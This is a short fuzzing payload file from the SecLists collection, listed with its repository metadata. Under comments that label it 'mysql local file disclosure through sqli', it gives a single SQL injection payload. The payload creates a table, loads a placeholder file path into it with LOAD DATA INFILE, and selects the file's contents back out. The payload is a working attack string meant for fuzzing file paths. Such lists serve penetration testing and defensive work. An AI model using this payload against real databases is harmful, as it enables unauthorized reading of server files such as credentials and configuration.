SecLists/Fuzzing/FUZZDB_MySQL_ReadLocalFiles.txt
2013-12-21 10:18:08 -06:00

4 lines
210 B
Plaintext
Executable File

# mysql local file disclosure through sqli
# fuzz interesting absolute filepath/filename into <filepath>
create table myfile (input TEXT); load data infile '<filepath>' into table myfile; select * from myfile;